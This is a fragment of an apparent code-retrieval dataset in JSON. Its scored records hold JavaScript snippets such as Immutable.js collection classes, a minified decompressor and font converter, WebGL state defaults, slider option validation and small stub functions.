iter.contains(value);\n\t\t }))) {\n\t\t set.remove(value);\n\t\t }\n\t\t }));\n\t\t }));\n\t\t },\n\t\t merge: function() {\n\t\t return this.union.apply(this, arguments);\n\t\t },\n\t\t mergeWith: function(merger) {\n\t\t for (var iters = [],\n\t\t $__12 = 1; $__12 < arguments.length; $__12++)\n\t\t iters[$__12 - 1] = arguments[$__12];\n\t\t return this.union.apply(this, iters);\n\t\t },\n\t\t sort: function(comparator) {\n\t\t return OrderedSet(sortFactory(this, comparator));\n\t\t },\n\t\t sortBy: function(mapper, comparator) {\n\t\t return OrderedSet(sortFactory(this, comparator, mapper));\n\t\t },\n\t\t wasAltered: function() {\n\t\t return this._map.wasAltered();\n\t\t },\n\t\t __iterate: function(fn, reverse) {\n\t\t var $__0 = this;\n\t\t return this._map.__iterate((function(_, k) {\n\t\t return fn(k, k, $__0);\n\t\t }), reverse);\n\t\t },\n\t\t __iterator: function(type, reverse) {\n\t\t return this._map.map((function(_, k) {\n\t\t return k;\n\t\t })).__iterator(type, reverse);\n\t\t },\n\t\t __ensureOwner: function(ownerID) {\n\t\t if (ownerID === this.__ownerID) {\n\t\t return this;\n\t\t }\n\t\t var newMap = this._map.__ensureOwner(ownerID);\n\t\t if (!ownerID) {\n\t\t this.__ownerID = ownerID;\n\t\t this._map = newMap;\n\t\t return this;\n\t\t }\n\t\t return this.__make(newMap, ownerID);\n\t\t }\n\t\t}, {\n\t\t of: function() {\n\t\t return this(arguments);\n\t\t },\n\t\t fromKeys: function(value) {\n\t\t return this(KeyedIterable(value).keySeq());\n\t\t }\n\t\t}, SetCollection);\n\t\tfunction isSet(maybeSet) {\n\t\t return !!(maybeSet && maybeSet[IS_SET_SENTINEL]);\n\t\t}\n\t\tSet.isSet = isSet;\n\t\tvar IS_SET_SENTINEL = '@@__IMMUTABLE_SET__@@';\n\t\tvar SetPrototype = Set.prototype;\n\t\tSetPrototype[IS_SET_SENTINEL] = true;\n\t\tSetPrototype[DELETE] = SetPrototype.remove;\n\t\tSetPrototype.mergeDeep = SetPrototype.merge;\n\t\tSetPrototype.mergeDeepWith = SetPrototype.mergeWith;\n\t\tSetPrototype.withMutations = MapPrototype.withMutations;\n\t\tSetPrototype.asMutable = MapPrototype.asMutable;\n\t\tSetPrototype.asImmutable = MapPrototype.asImmutable;\n\t\tSetPrototype.__empty = emptySet;\n\t\tSetPrototype.__make = makeSet;\n\t\tfunction updateSet(set, newMap) {\n\t\t if (set.__ownerID) {\n\t\t set.size = newMap.size;\n\t\t set._map = newMap;\n\t\t return set;\n\t\t }\n\t\t return newMap === set._map ? set : newMap.size === 0 ? set.__empty() : set.__make(newMap);\n\t\t}\n\t\tfunction makeSet(map, ownerID) {\n\t\t var set = Object.create(SetPrototype);\n\t\t set.size = map ? map.size : 0;\n\t\t set._map = map;\n\t\t set.__ownerID = ownerID;\n\t\t return set;\n\t\t}\n\t\tvar EMPTY_SET;\n\t\tfunction emptySet() {\n\t\t return EMPTY_SET || (EMPTY_SET = makeSet(emptyMap()));\n\t\t}\n\t\tvar OrderedSet = function OrderedSet(value) {\n\t\t return value === null || value === undefined ? emptyOrderedSet() : isOrderedSet(value) ? value : emptyOrderedSet().withMutations((function(set) {\n\t\t var iter = SetIterable(value);\n\t\t assertNotInfinite(iter.size);\n\t\t iter.forEach((function(v) {\n\t\t return set.add(v);\n\t\t }));\n\t\t }));\n\t\t};\n\t\t($traceurRuntime.createClass)(OrderedSet, {toString: function() {\n\t\t return this.__toString('OrderedSet {', '}');\n\t\t }}, {\n\t\t of: function() {\n\t\t return this(arguments);\n\t\t },\n\t\t fromKeys: function(value) {\n\t\t return this(KeyedIterable(value).keySeq());\n\t\t }\n\t\t}, Set);\n\t\tfunction isOrderedSet(maybeOrderedSet) {\n\t\t return isSet(maybeOrderedSet) && isOrdered(maybeOrderedSet);\n\t\t}\n\t\tOrderedSet.isOrderedSet = isOrderedSet;\n\t\tvar OrderedSetPrototype = OrderedSet.prototype;\n\t\tOrderedSetPrototype[IS_ORDERED_SENTINEL] = true;\n\t\tOrderedSetPrototype.__empty = emptyOrderedSet;\n\t\tOrderedSetPrototype.__make = makeOrderedSet;\n\t\tfunction makeOrderedSet(map, ownerID) {\n\t\t var set = Object.create(OrderedSetPrototype);\n\t\t set.size = map ? map.size : 0;\n\t\t set._map = map;\n\t\t set.__ownerID = ownerID;\n\t\t return set;\n\t\t}\n\t\tvar EMPTY_ORDERED_SET;\n\t\tfunction emptyOrderedSet() {\n\t\t return EMPTY_ORDERED_SET || (EMPTY_ORDERED_SET = makeOrderedSet(emptyOrderedMap()));\n\t\t}\n\t\tvar Record = function Record(defaultValues, name) {\n\t\t var RecordType = function Record(values) {\n\t\t if (!(this instanceof RecordType)) {\n\t\t return new RecordType(values);\n\t\t }\n\t\t this._map = Map(values);\n\t\t };\n\t\t var keys = Object.keys(defaultValues);\n\t\t var RecordTypePrototype = RecordType.prototype = Object.create(RecordPrototype);\n\t\t RecordTypePrototype.constructor = RecordType;\n\t\t name && (RecordTypePrototype._name = name);\n\t\t RecordTypePrototype._defaultValues = defaultValues;\n\t\t RecordTypePrototype._keys = keys;\n\t\t RecordTypePrototype.size = keys.length;\n\t\t try {\n\t\t keys.forEach((function(key) {\n\t\t Object.defineProperty(RecordType.prototype, key, {\n\t\t get: function() {\n\t\t return this.get(key);\n\t\t },\n\t\t set: function(value) {\n\t\t invariant(this.__ownerID, 'Cannot set on an immutable record.');\n\t\t this.set(key, value);\n\t\t }\n\t\t });\n\t\t }));\n\t\t } catch (error) {}\n\t\t return RecordType;\n\t\t};\n\t\t($traceurRuntime.createClass)(Record, {\n\t\t toString: function() {\n\t\t return this.__toString(recordName(this) + ' {', '}');\n\t\t },\n\t\t has: function(k) {\n\t\t return this._defaultValues.hasOwnProperty(k);\n\t\t },\n\t\t get: function(k, notSetValue) {\n\t\t if (!this.has(k)) {\n\t\t return notSetValue;\n\t\t }\n\t\t var defaultVal = this._defaultValues[k];\n\t\t return this._map ? this._map.get(k, defaultVal) : defaultVal;\n\t\t },\n\t\t clear: function() {\n\t\t if (this.__ownerID) {\n\t\t this._map && this._map.clear();\n\t\t return this;\n\t\t }\n\t\t var SuperRecord = Object.getPrototypeOf(this).constructor;\n\t\t return SuperRecord._empty || (SuperRecord._empty = makeRecord(this, emptyMap()));\n\t\t },\n\t\t set: function(k, v) {\n\t\t if (!this.has(k)) {\n\t\t throw new Error('Cannot set unknown key \"' + k + '\" on ' + recordName(this));\n\t\t }\n\t\t var newMap = this._map && this._map.set(k, v);\n\t\t if (this.__ownerID || newMap === this._map) {\n\t\t return this;\n\t\t }\n\t\t return makeRecord(this, newMap);\n\t\t },\n\t\t remove: function(k) {\n\t\t if (!this.has(k)) {\n\t\t return this;\n\t\t }\n\t\t var newMap = this._map && this._map.remove(k);\n\t\t if (this.__ownerID || newMap === this._map) {\n\t\t return this;\n\t\t }\n\t\t return makeRecord(this, newMap);\n\t\t },\n\t\t wasAltered: function() {\n\t\t return this._map.wasAltered();\n\t\t },\n\t\t __iterator: function(type, reverse) {\n\t\t var $__0 = this;\n\t\t return KeyedIterable(this._defaultValues).map((function(_, k) {\n\t\t return $__0.get(k);\n\t\t })).__iterator(type, reverse);\n\t\t },\n\t\t __iterate: function(fn, reverse) {\n\t\t var $__0 = this;\n\t\t return KeyedIterable(this._defaultValues).map((function(_, k) {\n\t\t return $__0.get(k);\n\t\t })).__iterate(fn, reverse);\n\t\t },\n\t\t __ensureOwner: function(ownerID) {\n\t\t if (ownerID === this.__ownerID) {\n\t\t return this;\n\t\t }\n\t\t var newMap = this._map && this._map.__ensureOwner(ownerID);\n\t\t if (!ownerID) {\n\t\t this.__ownerID = ownerID;\n\t\t this._map = newMap;\n\t\t return this;\n\t\t }\n\t\t return makeRecord(this, newMap, ownerID);\n\t\t }\n\t\t}, {}, KeyedCollection);\n\t\tvar RecordPrototype = Record.prototype;\n\t\tRecordPrototype[DELETE] = RecordPrototype.remove;\n\t\tRecordPrototype.deleteIn = RecordPrototype.removeIn = MapPrototype.removeIn;\n\t\tRecordPrototype.merge = MapPrototype.merge;\n\t\tRecordPrototype.mergeWith = MapPrototype.mergeWith;\n\t\tRecordPrototype.mergeIn = MapPrototype.mergeIn;\n\t\tRecordPrototype.mergeDeep = MapPrototype.mergeDeep;\n\t\tRecordPrototype.mergeDeepWith = MapPrototype.mergeDeepWith;\n\t\tRecordPrototype.mergeDeepIn = MapPrototype.mergeDeepIn;\n\t\tRecordPrototype.setIn = MapPrototype.setIn;\n\t\tRecordPrototype.update = MapPrototype.update;\n\t\tRecordPrototype.updateIn = MapPrototype.updateIn;\n\t\tRecordPrototype.withMutations = MapPrototype.withMutations;\n\t\tRecordPrototype.asMutable = MapPrototype.asMutable;\n\t\tRecordPrototype.asImmutable = MapPrototype.asImmutable;\n\t\tfunction makeRecord(likeRecord, map, ownerID) {\n\t\t var record = Object.create(Object.getPrototypeOf(likeRecord));\n\t\t record._map = map;\n\t\t record.__ownerID = ownerID;\n\t\t return record;\n\t\t}\n\t\tfunction recordName(record) {\n\t\t return record._name || record.constructor.name;\n\t\t}\n\t\tvar Range = function Range(start, end, step) {\n\t\t if (!(this instanceof $Range)) {\n\t\t return new $Range(start, end, step);\n\t\t }\n\t\t invariant(step !== 0, 'Cannot step a Range by 0');\n\t\t start = start || 0;\n\t\t if (end === undefined) {\n\t\t end = Infinity;\n\t\t }\n\t\t if (start === end && __EMPTY_RANGE) {\n\t\t return __EMPTY_RANGE;\n\t\t }\n\t\t step = step === undefined ? 1 : Math.abs(step);\n\t\t if (end < start) {\n\t\t step = -step;\n\t\t }\n\t\t this._start = start;\n\t\t this._end = end;\n\t\t this._step = step;\n\t\t this.size = Math.max(0, Math.ceil((end - start) / step - 1) + 1);\n\t\t};\n\t\tvar $Range = Range;\n\t\t($traceurRuntime.createClass)(Range, {\n\t\t toString: function() {\n\t\t if (this.size === 0) {\n\t\t return 'Range []';\n\t\t }\n\t\t return 'Range [ ' + this._start + '...' + this._end + (this._step > 1 ? ' by ' + this._step : '') + ' ]';\n\t\t },\n\t\t get: function(index, notSetValue) {\n\t\t return this.has(index) ? this._start + wrapIndex(this, index) * this._step : notSetValue;\n\t\t },\n\t\t contains: function(searchValue) {\n\t\t var possibleIndex = (searchValue - this._start) / this._step;\n\t\t return possibleIndex >= 0 && possibleIndex < this.size && possibleIndex === Math.floor(possibleIndex);\n\t\t },\n\t\t slice: function(begin, end) {\n\t\t if (wholeSlice(begin, end, this.size)) {\n\t\t return this;\n\t\t }\n\t\t begin = resolveBegin(begin, this.size);\n\t\t end = resolveEnd(end, this.size);\n\t\t if (end <= begin) {\n\t\t return __EMPTY_RANGE;\n\t\t }\n\t\t return new $Range(this.get(begin, this._end), this.get(end, this._end), this._step);\n\t\t },\n\t\t indexOf: function(searchValue) {\n\t\t var offsetValue = searchValue - this._start;\n\t\t if (offsetValue % this._step === 0) {\n\t\t var index = offsetValue / this._step;\n\t\t if (index >= 0 && index < this.size) {\n\t\t return index;\n\t\t }\n\t\t }\n\t\t return -1;\n\t\t },\n\t\t lastIndexOf: function(searchValue) {\n\t\t return this.indexOf(searchValue);\n\t\t },\n\t\t take: function(amount) {\n\t\t return this.slice(0, Math.max(0, amount));\n\t\t },\n\t\t skip: function(amount) {\n\t\t return this.slice(Math.max(0, amount));\n\t\t },\n\t\t __iterate: function(fn, reverse) {\n\t\t var maxIndex = this.size - 1;\n\t\t var step = this._step;\n\t\t var value = reverse ? this._start + maxIndex * step : this._start;\n\t\t for (var ii = 0; ii <= maxIndex; ii++) {\n\t\t if (fn(value, ii, this) === false) {\n\t\t return ii + 1;\n\t\t }\n\t\t value += reverse ? -step : step;\n\t\t }\n\t\t return ii;\n\t\t },\n\t\t __iterator: function(type, reverse) {\n\t\t var maxIndex = this.size - 1;\n\t\t var step = this._step;\n\t\t var value = reverse ? this._start + maxIndex * step : this._start;\n\t\t var ii = 0;\n\t\t return new Iterator((function() {\n\t\t var v = value;\n\t\t value += reverse ? -step : step;\n\t\t return ii > maxIndex ? iteratorDone() : iteratorValue(type, ii++, v);\n\t\t }));\n\t\t },\n\t\t equals: function(other) {\n\t\t return other instanceof $Range ? this._start === other._start && this._end === other._end && this._step === other._step : deepEqual(this, other);\n\t\t }\n\t\t}, {}, IndexedSeq);\n\t\tvar RangePrototype = Range.prototype;\n\t\tRangePrototype.__toJS = RangePrototype.toArray;\n\t\tRangePrototype.first = ListPrototype.first;\n\t\tRangePrototype.last = ListPrototype.last;\n\t\tvar __EMPTY_RANGE = Range(0, 0);\n\t\tvar Repeat = function Repeat(value, times) {\n\t\t if (times <= 0 && EMPTY_REPEAT) {\n\t\t return EMPTY_REPEAT;\n\t\t }\n\t\t if (!(this instanceof $Repeat)) {\n\t\t return new $Repeat(value, times);\n\t\t }\n\t\t this._value = value;\n\t\t this.size = times === undefined ? Infinity : Math.max(0, times);\n\t\t if (this.size === 0) {\n\t\t EMPTY_REPEAT = this;\n\t\t }\n\t\t};\n\t\tvar $Repeat = Repeat;\n\t\t($traceurRuntime.createClass)(Repeat, {\n\t\t toString: function() {\n\t\t if (this.size === 0) {\n\t\t return 'Repeat []';\n\t\t }\n\t\t return 'Repeat [ ' + this._value + ' ' + this.size + ' times ]';\n\t\t },\n\t\t get: function(index, notSetValue) {\n\t\t return this.has(index) ? this._value : notSetValue;\n\t\t },\n\t\t contains: function(searchValue) {\n\t\t return is(this._value, searchValue);\n\t\t },\n\t\t slice: function(begin, end) {\n\t\t var size = this.size;\n\t\t return wholeSlice(begin, end, size) ? this : new $Repeat(this._value, resolveEnd(end, size) - resolveBegin(begin, size));\n\t\t },\n\t\t reverse: function() {\n\t\t return this;\n\t\t },\n\t\t indexOf: function(searchValue) {\n\t\t if (is(this._value, searchValue)) {\n\t\t return 0;\n\t\t }\n\t\t return -1;\n\t\t },\n\t\t lastIndexOf: function(searchValue) {\n\t\t if (is(this._value, searchValue)) {\n\t\t return this.size;\n\t\t }\n\t\t return -1;\n\t\t },\n\t\t __iterate: function(fn, reverse) {\n\t\t for (var ii = 0; ii < this.size; ii++) {\n\t\t if (fn(this._value, ii, this) === false) {\n\t\t return ii + 1;\n\t\t }\n\t\t }\n\t\t return ii;\n\t\t },\n\t\t __iterator: function(type, reverse) {\n\t\t var $__0 = this;\n\t\t var ii = 0;\n\t\t return new Iterator((function() {\n\t\t return ii < $__0.size ? iteratorValue(type, ii++, $__0._value) : iteratorDone();\n\t\t }));\n\t\t },\n\t\t equals: function(other) {\n\t\t return other instanceof $Repeat ? is(this._value, other._value) : deepEqual(other);\n\t\t }\n\t\t}, {}, IndexedSeq);\n\t\tvar RepeatPrototype = Repeat.prototype;\n\t\tRepeatPrototype.last = RepeatPrototype.first;\n\t\tRepeatPrototype.has = RangePrototype.has;\n\t\tRepeatPrototype.take = RangePrototype.take;\n\t\tRepeatPrototype.skip = RangePrototype.skip;\n\t\tRepeatPrototype.__toJS = RangePrototype.__toJS;\n\t\tvar EMPTY_REPEAT;\n\t\tvar Immutable = {\n\t\t Iterable: Iterable,\n\t\t Seq: Seq,\n\t\t Collection: Collection,\n\t\t Map: Map,\n\t\t OrderedMap: OrderedMap,\n\t\t List: List,\n\t\t Stack: Stack,\n\t\t Set: Set,\n\t\t OrderedSet: OrderedSet,\n\t\t Record: Record,\n\t\t Range: Range,\n\t\t Repeat: Repeat,\n\t\t is: is,\n\t\t fromJS: fromJS\n\t\t};\n\n\t\t return Immutable;\n\t\t}", "title": "" }, { "docid": "31de637912aa03cd1dbc040136cf1d69", "score": "0.5116194", "text": "function Yi(){return Yi=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},Yi.apply(this,arguments)}", "title": "" }, { "docid": "351ff4a7343da0faa1313693dc547044", "score": "0.5115326", "text": "function JY(){return function(n){var e=Uint8Array,t=Uint16Array,i=Uint32Array,r=new e([0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,0,0,0]),s=new e([0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13,0,0]),o=new e([16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15]),a=function(F,z){for(var G=new t(31),K=0;K<31;++K)G[K]=z+=1<<F[K-1];var ee=new i(G[30]);for(K=1;K<30;++K)for(var oe=G[K];oe<G[K+1];++oe)ee[oe]=oe-G[K]<<5|K;return[G,ee]},l=a(r,2),c=l[0],u=l[1];c[28]=258,u[258]=28;for(var f=a(s,0)[0],p=new t(32768),m=0;m<32768;++m){var v=(43690&m)>>>1|(21845&m)<<1;v=(61680&(v=(52428&v)>>>2|(13107&v)<<2))>>>4|(3855&v)<<4,p[m]=((65280&v)>>>8|(255&v)<<8)>>>1}var y=function(F,z,G){for(var K=F.length,ee=0,oe=new t(z);ee<K;++ee)++oe[F[ee]-1];var N,V=new t(z);for(ee=0;ee<z;++ee)V[ee]=V[ee-1]+oe[ee-1]<<1;if(G){N=new t(1<<z);var W=15-z;for(ee=0;ee<K;++ee)if(F[ee])for(var O=ee<<4|F[ee],j=z-F[ee],Z=V[F[ee]-1]++<<j,q=Z|(1<<j)-1;Z<=q;++Z)N[p[Z]>>>W]=O}else for(N=new t(K),ee=0;ee<K;++ee)F[ee]&&(N[ee]=p[V[F[ee]-1]++]>>>15-F[ee]);return N},M=new e(288);for(m=0;m<144;++m)M[m]=8;for(m=144;m<256;++m)M[m]=9;for(m=256;m<280;++m)M[m]=7;for(m=280;m<288;++m)M[m]=8;var g=new e(32);for(m=0;m<32;++m)g[m]=5;var x=y(M,9,1),S=y(g,5,1),w=function(F){for(var z=F[0],G=1;G<F.length;++G)F[G]>z&&(z=F[G]);return z},C=function(F,z,G){var K=z/8|0;return(F[K]|F[K+1]<<8)>>(7&z)&G},T=function(F,z){var G=z/8|0;return(F[G]|F[G+1]<<8|F[G+2]<<16)>>(7&z)},R=[\"unexpected EOF\",\"invalid block type\",\"invalid length/literal\",\"invalid distance\",\"stream finished\",\"no stream handler\",,\"no callback\",\"invalid UTF-8 data\",\"extra field too long\",\"date not in range 1980-2099\",\"filename too long\",\"stream finishing\",\"invalid zip data\"],b=function(F,z,G){var K=new Error(z||R[F]);if(K.code=F,Error.captureStackTrace&&Error.captureStackTrace(K,b),!G)throw K;return K},P=function(F,z,G){var K=F.length;if(!K||G&&!G.l&&K<5)return z||new e(0);var ee=!z||G,oe=!G||G.i;G||(G={}),z||(z=new e(3*K));var N,V=function(Ae){var He=z.length;if(Ae>He){var Ze=new e(Math.max(2*He,Ae));Ze.set(z),z=Ze}},W=G.f||0,O=G.p||0,j=G.b||0,Z=G.l,q=G.d,ie=G.m,le=G.n,J=8*K;do{if(!Z){G.f=W=C(F,O,1);var ye=C(F,O+1,3);if(O+=3,!ye){var Pe=F[(Ue=((N=O)/8|0)+(7&N&&1)+4)-4]|F[Ue-3]<<8,de=Ue+Pe;if(de>K){oe&&b(0);break}ee&&V(j+Pe),z.set(F.subarray(Ue,de),j),G.b=j+=Pe,G.p=O=8*de;continue}if(ye==1)Z=x,q=S,ie=9,le=5;else if(ye==2){var ue=C(F,O,31)+257,te=C(F,O+10,15)+4,ae=ue+C(F,O+5,31)+1;O+=14;for(var Se=new e(ae),Le=new e(19),Be=0;Be<te;++Be)Le[o[Be]]=C(F,O+3*Be,7);O+=3*te;var Ge=w(Le),Ee=(1<<Ge)-1,Oe=y(Le,Ge,1);for(Be=0;Be<ae;){var Ue,we=Oe[C(F,O,Ee)];if(O+=15&we,(Ue=we>>>4)<16)Se[Be++]=Ue;else{var I=0,D=0;for(Ue==16?(D=3+C(F,O,3),O+=2,I=Se[Be-1]):Ue==17?(D=3+C(F,O,7),O+=3):Ue==18&&(D=11+C(F,O,127),O+=7);D--;)Se[Be++]=I}}var ne=Se.subarray(0,ue),pe=Se.subarray(ue);ie=w(ne),le=w(pe),Z=y(ne,ie,1),q=y(pe,le,1)}else b(1);if(O>J){oe&&b(0);break}}ee&&V(j+131072);for(var De=(1<<ie)-1,Fe=(1<<le)-1,ze=O;;ze=O){var Ne=(I=Z[T(F,O)&De])>>>4;if((O+=15&I)>J){oe&&b(0);break}if(I||b(2),Ne<256)z[j++]=Ne;else{if(Ne==256){ze=O,Z=null;break}var Me=Ne-254;if(Ne>264){var We=r[Be=Ne-257];Me=C(F,O,(1<<We)-1)+c[Be],O+=We}var Y=q[T(F,O)&Fe],me=Y>>>4;if(Y||b(3),O+=15&Y,pe=f[me],me>3&&(We=s[me],pe+=T(F,O)&(1<<We)-1,O+=We),O>J){oe&&b(0);break}ee&&V(j+131072);for(var ve=j+Me;j<ve;j+=4)z[j]=z[j-pe],z[j+1]=z[j+1-pe],z[j+2]=z[j+2-pe],z[j+3]=z[j+3-pe];j=ve}}G.l=Z,G.p=ze,G.b=j,Z&&(W=1,G.m=ie,G.d=q,G.n=le)}while(!W);return j==z.length?z:function(Ae,He,Ze){(He==null||He<0)&&(He=0),(Ze==null||Ze>Ae.length)&&(Ze=Ae.length);var ut=new(Ae instanceof t?t:Ae instanceof i?i:e)(Ze-He);return ut.set(Ae.subarray(He,Ze)),ut}(z,0,j)},L=new e(0),U=typeof TextDecoder<\"u\"&&new TextDecoder;try{U.decode(L,{stream:!0})}catch{}return n.convert_streams=function(F){var z=new DataView(F),G=0;function K(){var ue=z.getUint16(G);return G+=2,ue}function ee(){var ue=z.getUint32(G);return G+=4,ue}function oe(ue){Pe.setUint16(de,ue),de+=2}function N(ue){Pe.setUint32(de,ue),de+=4}for(var V={signature:ee(),flavor:ee(),length:ee(),numTables:K(),reserved:K(),totalSfntSize:ee(),majorVersion:K(),minorVersion:K(),metaOffset:ee(),metaLength:ee(),metaOrigLength:ee(),privOffset:ee(),privLength:ee()},W=0;Math.pow(2,W)<=V.numTables;)W++;W--;for(var O=16*Math.pow(2,W),j=16*V.numTables-O,Z=12,q=[],ie=0;ie<V.numTables;ie++)q.push({tag:ee(),offset:ee(),compLength:ee(),origLength:ee(),origChecksum:ee()}),Z+=16;var le,J=new Uint8Array(12+16*q.length+q.reduce(function(ue,te){return ue+te.origLength+4},0)),ye=J.buffer,Pe=new DataView(ye),de=0;return N(V.flavor),oe(V.numTables),oe(O),oe(W),oe(j),q.forEach(function(ue){N(ue.tag),N(ue.origChecksum),N(Z),N(ue.origLength),ue.outOffset=Z,(Z+=ue.origLength)%4!=0&&(Z+=4-Z%4)}),q.forEach(function(ue){var te,ae=F.slice(ue.offset,ue.offset+ue.compLength);if(ue.compLength!=ue.origLength){var Se=new Uint8Array(ue.origLength);te=new Uint8Array(ae,2),P(te,Se)}else Se=new Uint8Array(ae);J.set(Se,ue.outOffset);var Le=0;(Z=ue.outOffset+ue.origLength)%4!=0&&(Le=4-Z%4),J.set(new Uint8Array(Le).buffer,ue.outOffset+ue.origLength),le=Z+Le}),ye.slice(0,le)},Object.defineProperty(n,\"__esModule\",{value:!0}),n}({}).convert_streams}", "title": "" }, { "docid": "85bbd817d3d171ce318ce1348b54afd2", "score": "0.50955147", "text": "constructor(...state) {\n this.clearColor = __WEBPACK_IMPORTED_MODULE_0__util_color__[\"c\" /* create */](0, 0, 0, 0);\n this.clearDepth = 1;\n this.clearStencil = 0;\n this.colorMaskR = true;\n this.colorMaskG = true;\n this.colorMaskB = true;\n this.colorMaskAlpha = true;\n this.blend = false;\n this.blendEquationRgb = 32774 /* ADD */;\n this.blendEquationAlpha = 32774 /* ADD */;\n this.blendFuncSrcRgb = 1 /* ONE */;\n this.blendFuncDstRgb = 0 /* ZERO */;\n this.blendFuncSrcAlpha = 1 /* ONE */;\n this.blendFuncDstAlpha = 0 /* ZERO */;\n this.cullFace = false;\n this.cullFaceMode = 1029 /* BACK */;\n this.frontFaceMode = 2305 /* COUNTERCLOCKWISE */;\n this.depthTest = false;\n this.depthFunc = 513 /* LESS */;\n this.depthRangeNear = 0;\n this.depthRangeFar = 1;\n this.depthMask = true;\n this.dither = true;\n this.drawBuffers = [36064 /* COLOR_ATTACHMENT0 */];\n this.polygonOffset = false;\n this.polygonOffsetFactor = 0;\n this.polygonOffsetUnits = 0;\n this.sampleAlphaToCoverage = false;\n this.sampleCoverage = false;\n this.sampleCoverageValue = 1;\n this.sampleCoverageInvert = false;\n this.scissorTest = false;\n this.scissorX = 0;\n this.scissorY = 0;\n // Actual defaults aren't known here since they depend upon context. -1's\n // as \"do not change\" values.\n this.scissorWidth = -1;\n this.scissorHeight = -1;\n this.stencilTest = false;\n this.stencilReference = 0;\n this.stencilMask = 0xff;\n this.stencilWriteMask = 0xff;\n this.stencilFrontFunc = 519 /* ALWAYS */;\n this.stencilFrontFailOp = 7680 /* KEEP */;\n this.stencilFrontDepthFailOp = 7680 /* KEEP */;\n this.stencilFrontDepthPassOp = 7680 /* KEEP */;\n this.stencilBackFunc = 519 /* ALWAYS */;\n this.stencilBackFailOp = 7680 /* KEEP */;\n this.stencilBackDepthFailOp = 7680 /* KEEP */;\n this.stencilBackDepthPassOp = 7680 /* KEEP */;\n this.viewportX = 0;\n this.viewportY = 0;\n // Actual defaults aren't known here since they depend upon context. -1's\n // as \"do not change\" values.\n this.viewportWidth = -1;\n this.viewportHeight = -1;\n Object.assign(this, ...state);\n }", "title": "" }, { "docid": "cb30b06071553a62ec27005bd8de8bec", "score": "0.50918746", "text": "function O(a){\n// To prove a fix for #537, freeze options here.\n// If the object is modified, an error will be thrown.\n// Object.freeze(options);\nvar b,c={margin:0,limit:0,animate:!0,animationDuration:300,format:R};\n// Tests are executed in the order they are presented here.\nb={step:{r:!1,t:y},start:{r:!0,t:A},connect:{r:!0,t:E},direction:{r:!0,t:I},snap:{r:!1,t:B},animate:{r:!1,t:C},animationDuration:{r:!1,t:D},range:{r:!0,t:z},orientation:{r:!1,t:F},margin:{r:!1,t:G},limit:{r:!1,t:H},behaviour:{r:!0,t:J},format:{r:!1,t:L},tooltips:{r:!1,t:K},cssPrefix:{r:!1,t:M},cssClasses:{r:!1,t:N}};var d={connect:!1,direction:\"ltr\",behaviour:\"tap\",orientation:\"horizontal\",cssPrefix:\"noUi-\",cssClasses:{target:\"target\",base:\"base\",origin:\"origin\",handle:\"handle\",handleLower:\"handle-lower\",handleUpper:\"handle-upper\",horizontal:\"horizontal\",vertical:\"vertical\",background:\"background\",connect:\"connect\",ltr:\"ltr\",rtl:\"rtl\",draggable:\"draggable\",drag:\"state-drag\",tap:\"state-tap\",active:\"active\",stacking:\"stacking\",tooltip:\"tooltip\",pips:\"pips\",pipsHorizontal:\"pips-horizontal\",pipsVertical:\"pips-vertical\",marker:\"marker\",markerHorizontal:\"marker-horizontal\",markerVertical:\"marker-vertical\",markerNormal:\"marker-normal\",markerLarge:\"marker-large\",markerSub:\"marker-sub\",value:\"value\",valueHorizontal:\"value-horizontal\",valueVertical:\"value-vertical\",valueNormal:\"value-normal\",valueLarge:\"value-large\",valueSub:\"value-sub\"}};\n// Run all options through a testing mechanism to ensure correct\n// input. It should be noted that options might get modified to\n// be handled properly. E.g. wrapping integers in arrays.\n// Forward pips options\n// Pre-define the styles.\nreturn Object.keys(b).forEach(function(e){\n// If the option isn't set, but it is required, throw an error.\nif(void 0===a[e]&&void 0===d[e]){if(b[e].r)throw new Error(\"noUiSlider: '\"+e+\"' is required.\");return!0}b[e].t(c,void 0===a[e]?d[e]:a[e])}),c.pips=a.pips,c.style=c.ort?\"top\":\"left\",c}", "title": "" }, { "docid": "990c121cbf4c2a478a13692e0748086b", "score": "0.5086965", "text": "function r(t){return!!t.constructor&&\"function\"==typeof t.constructor.isBuffer&&t.constructor.isBuffer(t)}", "title": "" }, { "docid": "990c121cbf4c2a478a13692e0748086b", "score": "0.5086965", "text": "function r(t){return!!t.constructor&&\"function\"==typeof t.constructor.isBuffer&&t.constructor.isBuffer(t)}", "title": "" }, { "docid": "9bf7cce98f0cc86a613e0f909807316f", "score": "0.50782776", "text": "function o0(stdlib,o1,buffer) {\n try {\n\"use asm\";\n}catch(e){}\n var o0 = {o1:1, o2: 2};\n //views\n var o14 = o0.o1(\"ES6ArrayUseConstructor_helper.js\",\"samethread\");\n\n function o4(){\n var o5 = 0.5\n var o6 = o2(1.5);\n try {\no3[1] = o6;\n}catch(e){}\n try {\nreturn +(o3[1])\n}catch(e){}\n }\n try {\nreturn o4;\n}catch(e){}\n}", "title": "" }, { "docid": "86f35bd5e9ddb33fa23decb4ff63fca2", "score": "0.50768495", "text": "function n(t){return!!t.constructor&&\"function\"==typeof t.constructor.isBuffer&&t.constructor.isBuffer(t)}", "title": "" }, { "docid": "86f35bd5e9ddb33fa23decb4ff63fca2", "score": "0.50768495", "text": "function n(t){return!!t.constructor&&\"function\"==typeof t.constructor.isBuffer&&t.constructor.isBuffer(t)}", "title": "" }, { "docid": "344b14eea51ac25183beaa0488250c1d", "score": "0.5072789", "text": "function Module() {}", "title": "" }, { "docid": "344b14eea51ac25183beaa0488250c1d", "score": "0.5072789", "text": "function Module() {}", "title": "" }, { "docid": "e87ab65fa11e20e233dec26793391d2b", "score": "0.507222", "text": "patch() {\n }", "title": "" }, { "docid": "9b6cde66c4752b670374bb5219aea8e5", "score": "0.5065373", "text": "constructor() { return; }", "title": "" }, { "docid": "1d6341a5981d6a74b6f87e2ecf059f5d", "score": "0.5053659", "text": "function Buffer() {}", "title": "" }, { "docid": "1b76eeda477659a97ec1bfe7bd97e92a", "score": "0.50497365", "text": "function Example() {}", "title": "" }, { "docid": "ceb3ab2a13a15b84371e068984913a68", "score": "0.50424546", "text": "function Utils() {}", "title": "" }, { "docid": "ceb3ab2a13a15b84371e068984913a68", "score": 